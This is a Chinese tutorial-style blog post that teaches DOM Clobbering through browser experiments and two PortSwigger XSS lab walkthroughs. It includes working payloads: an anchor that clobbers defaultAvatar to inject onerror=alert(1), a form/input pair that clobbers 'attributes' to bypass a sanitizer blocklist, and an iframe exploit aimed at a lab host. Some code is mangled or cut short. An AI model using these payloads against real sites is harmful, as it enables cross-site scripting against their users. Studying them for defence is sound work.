DOM破坏攻击学习

前言

最近看到好多师傅都已经学习过了DOM Clobbering Attack，因此自己也来学习一波。

0x01 简介

DOM最初诞生的时候没有一个很好的标准，以至于各个浏览器在实现的过程中会支持DOM的一些怪异行为，而这些行为可能会导致DOM Clobbering的发生浏览器可能会将各种DOM元素的name和id属性添加为document的属性或页面的全局变量，这会导致覆盖掉document原有的属性或全局变量，或者劫持一些变量的内容。

测试环境 Chrome 80.0.3987.132

0x02 简单的例子

1.对象创建

测试代码如下：

DOM Clobbering Attackconsole.log(test1);console.log(test2);console.log(window.test1);console.log(window.test2);console.log(document.test1);console.log(document.test2);

打印的结果如下：

通过上面的结果，可以看出来HTML标签中的id属性值被当做全局变量，name属性值被当成document的属性，这也就是为什么上面有一行输出undefined的原因。

2.方法的覆盖

测试代码如下：

DOM Clobbering Attackconsole.log(document.getElementById);console.log(document.getElementById("form"))

结果如下：

通过上面的输出结果显示我们可以通过name属性覆盖document中的内置方法。

3.通过标签的层级关系构造变量的层级关系

测试代码如下：

DOM Clobbering Attackconsole.log(test1);console.log(test1.test2);console.log(test1.test3);console.log(test4['name']);console.log(test5['id']);console.log(document.body);console.log(document.body.firstChild);

结果如下：

通过上面的结果我们看到，可以通过多层覆盖的方式，覆盖Window和document下的对象。

0x03 javascript Scope

由于DOM Clobbering Attack的攻击中有很多的地方用到了javascript的作用域链，因此我们可以来了解一下：

1.全局作用域：

在javascript中全局作用域一般是window(nodejs是global)。

2.显示声明：

DOM Clobbering AttackvartestValue=123;vartestFunc=function(){console.log("DOM");    };console.log(window.testValue);// 123console.log(window.testFunc);// function(){console.log("DOM")}

3.隐式声明：

不带有声明关键字的变量，js会默认帮你声明一个全局变量：

DOM Clobbering Attackfunctionfoo(value){result=value+1;returnresult;    }foo(1);console.log(window.result);// 2

变量result被挂载到了window对象上了。

4.块级作用域：

在 ES6 之前，是没有块级作用域的概念的。如果你有 C++ 或者 Java 经验，想必你对块级作用域并不陌生：

从上面的结果来看，说明var声明的变量，在for循环之后仍然保存在这个作用域里，而for(){}仍然在全局作用域里，因此var声明的变量在全局作用域里。

我们可以通过let(或const用来声明常量)来声明变量，实现块级作用域。

除了上面的几种作用域外还有语法作用域，动态作用域等，就不赘述了感兴趣的参考下面的链接。

0x04 攻击方法

1.为了分析DOM Clobbering漏洞，假设如下代码：

如果我们想利用Dom Clobbering技巧来执行任意的js，需要解决两个问题：

1)利用html标签的属性id，很容易在window对象上创建任意的属性，但是我们能在新对象上创建新属性吗？

2)怎么控制DOM elements被强制转为string之后的值，大多数的dom节点被转为string后是[object HTMLInputElement]。

我们可以用前面的例子来解决第一个问题：

DOM Clobbering Attackconsole.log(test1.test2.toString());// [object HTMLInputElement]

我们可以用下面的一段代码来枚举，html存在的所有标签，然后检查其dom节点对象有没有实现toString方法，或者是继承于Object.ptototype。如果是继承自Object.prototype,那么很有可能只会返回[object SomeElement]

Object.getOwnPropertyNames(window).filter(p=>p.match(/Element$/)).map(p=>window[p]).filter(p=>p && p.prototype && p.prototype.toString !==Object.prototype.toString)

我们可以得到两个对象:

HTMLAreaElement(<area>)和HTMLAnchorElement (<a>)，这两个标签的toString会直接返回他的href属性。

DOM Clobbering Attackconsole.log(test1.toString());// https://www.baidu.com

结合上面的两个问题，我们会构造如下payload:

但是test1.test2是undefined，这是因为<input>元素会变成<form>的属性，但但<a>标签并不会。

我们可以通过构造一个HTMLCollection来解决问题，例如：

console.log(test1)

返回的集合如下所示：

HTMLCollection可以通过index访问，同时可以使用id访问，并且可以使用name访问，例如：

console.log(test1.test2);//<a id="test1" name="test2">click2!</a>

因此上面的问题得到解决，通过构造如下payload:

if(window.test1.test2) {eval(''+window.test1.test2)    }

成功执行。

2.确定DOM元素间的关系

我们把两个HTML元素相邻放置，分别为其分配一个ID，然后检查第一个元素是否具有第二个元素的属性。代码如下：

const log = [];

    const html = ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head", "header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select", "shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr", "xmp"];

    div=document.createElement('div');

    for(let i=0; i<html.length; i++) {

        for(let j=0; j<html.length; j++) {

            div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';

            document.body.appendChild(div);

            if(window.element1 && element1.element2){

                log.push(html[i]+','+html[j]);

            }

            document.body.removeChild(div);

        }

    }

    console.log(log.join('\n'));

上面是我们用html标签的id属性来寻找DOM之间的关系的过程，结果如下：

如果我们要覆盖一个对象的x.y.value值，可以用下面的这种方式：

console.log(x.y.value);

3.使用form标签来伪造三层的对象引用

    alert(x.y.z)

在Chrome中，当form标签有两个一样的id的input标签时，Chrome会将其处理为[object RadioNodeList]，这个可以用forEach来遍历：

x.y.forEach(element=>alert(element));

4.是否自定义的DOM节点也具有上面的属性呢？

alert(x.y);// undefined

我们可以通过下面的代码来测试一下dom中有哪些属性可以用：

var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"];//HTML elements array

var props=[];

for(i=0;i<html.length;i++){

  obj = document.createElement(html[i]);

  for(prop in obj) {

    if(typeof obj[prop] === 'string') {

      try {

        props.push(html[i]+':'+prop);

      }catch(e){}

    }

  }

}

console.log([...new Set(props)].join('\n'));

上面的代码显示的是string类型的属性，他们并不一定可控，为了检查他们是否可读写，我们可以用下面的代码：

通过上面的输出结果可以有：

console.log(x.target);// dddconsole.log(y.download);// eee

对于上面的DOM属性中，我们需要关注的是username和password属性，他们是a标签的节点属性并不是html中定义的属性，这两个属性可以通过url的中的username字段和password字段提供，但是需要有@符号：

console.log(x.username);//Clobbered-usernameconsole.log(x.password);//Clobbered-password

上面不仅可以用ftp协议，也可以用http协议(必须加//)，需要注意的是，如果我们直接通过toString函数将dom转换为字符串他的href是经过url编码的，不过我们可以通过一个不存在的协议绕过abc:<>：

5.获取3级以上的对象引用

https://twitter.com/terjanq提到，可以结合iframe的srcdoc属性构造任意层数的对象引用。

例子如下：

testsetTimeout(()=>alert(a.b.c.d),500)

<iframe name=a srcdoc="

<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>

<script>setTimeout(()=>alert(a.b.c.d),500)</script>

上面用到了setTimeout设置一个定时器是为了保证iframe框架的加载完成。我们可以利用style/link来加载外部样式表来造成延迟：

test@import'//portswigger.net';alert(a.b.c.d)

<iframe name=a srcdoc="

<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>

<style>@import '//portswigger.net';</style>

<script>

alert(a.b.c.d)

</script>

0x05 攻击实例

1. clobbering to enable XSS lab

实验之前先看一个简单的例子：

<a id=someObject><a id=someObject name=url href="./xss.js"> <!--xss.js alert(1)-->

<script>

    window.onload = function(){

        let someObject = window.someObject || {};

        let script = document.createElement('script');

        script.src = someObject.url;

        document.body.appendChild(script);

    };

</script>

window.onload =function(){letsomeObject =window.someObject || {};letscript =document.createElement('script');        script.src = someObject.url;document.body.appendChild(script);    };

这个实验就有点类似下面这个例子：

通过查看源代码我们可以看到这个文件：loadCommentsWithDomClobbering.js，我们可以看到下面的获取图片src的代码：

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}

let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

let divImgContainer = document.createElement("div");

divImgContainer.innerHTML = avatarImgHTML

avatar的默认值是/resources/images/avatarDefault.svg，我们可以通过覆盖window.defaultAvatar来实现xss，构造的payload如下：

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

插入的标签如下：

为什么我们要把闭合前面的"编码为"，因为cid是没有这个协议的，因此不会对"进行url编码。这样在解码时"就变成了控制字符"改变页面结构。

然后再评论一次，刷新全局变量，加载loadCommentsWithDomClobbering.js即可导致xss。

2.Clobbering attributes lab

实验之前我们先来看一个例子：

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>DOM Clobbering Attack</title>

</head>

<body>

<html>

<body>

<!-- 表单，用于提交payload -->

<form action="" id="form1">

    <input type="text" name="payload" style="width: 500px;height:60px;"><br>

    <input type="button" onclick=formSubmit() value="submit">

</form>

</body>

</html>

<script>

    // 遍历DOM树，不需要关注这个函数

    function DomBFS(element, callback) {

        var queue = [];

        while(element) {

            callback(element);

            if(element.children.length !== 0) {

                for (var i = 0; i < element.children.length; i++) {

                    queue.push(element.children[i]);

                }

            }

            element = queue.shift();

        }

    }

    // 过滤用户提交的HTML代码，如果包含onclick, onerror，删掉该属性(attribute)

    let blockAttributes = ["onclick", "onerror"];

    function formSubmit() {

        let f = document.getElementById("form1");

        let sandbox = document.implementation.createHTMLDocument('');

        let root = sandbox.createElement("div");

        root.innerHTML = f.payload.value;

        DomBFS(root, function(element){

            // 遍历属性名

            for(var a = 0; a < element.attributes.length; a+=1) {

                let attr = element.attributes[a];

                if(blockAttributes.indexOf(attr.name) != -1) {

                    element.removeAttribute(attr.name);

                    a -= 1;

                }

            }

        });

        document.body.appendChild(root);

    }

</script>

</body>

</html>

payload如下：

由于attributes被覆盖导致执行到payload的form时跳过for循环跳过黑名单，成功执行xss。

跟上面一样我们先看看loadCommentsWithHtmlJanitor.js的代码。

结合上面的例子我们可以通过构造<form id=x><input id=attributes>的形式来绕过。

根据题目的要求，需要访问触发，并且通过参考资料得知利用tabindex属性和form的onfocus来执行xss。

因此构造如下：

但是我们要解决这个lab需要提交到该漏洞利用的漏洞服务器，而且用户直接点击是不会触发xss的，因此我们要构造一个在评论后主动访问并且加上#x，为了等待评论完成我们需要延迟一下，因此构造下面的payload:

this.src=this.src+'#x',500)"">

<iframe src=https://ac5d1feb1e0464fb80aec03700a10012.web-security-academy.net/post?postId=2 onload="setTimeout(a=>this.src=this.src+'#x',500)"></iframe>

直接提交完成lab。

0x06 总结

现在一般可以xss的地方都会有过滤，因此当我们xss不了的时候我们是不是可以考虑一下DOM Clobbering Attack呢？

0x07参考链接

http://d1iv3.me/2018/04/11/DOM-Clobbering-Attack/

https://juejin.im/post/5abb99e9f265da2392366824

https://wonderkun.cc/2020/02/15/DOM%20Clobbering%20Attack%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/

https://portswigger.net/research/dom-clobbering-strikes-back

https://xz.aliyun.com/t/7346

https://portswigger.net/web-security/dom-based/dom-clobbering

实验推荐--WebGoat之XSS

http://hetianlab.com/expc.do?ce=bda568d3-a31c-49ef-ba3e-a4c7d4ee1d0a

（由于html和js都是解释执行的，如果对用户的输入过滤不够严格，导致用户输入一些html或者js代码被浏览器执行）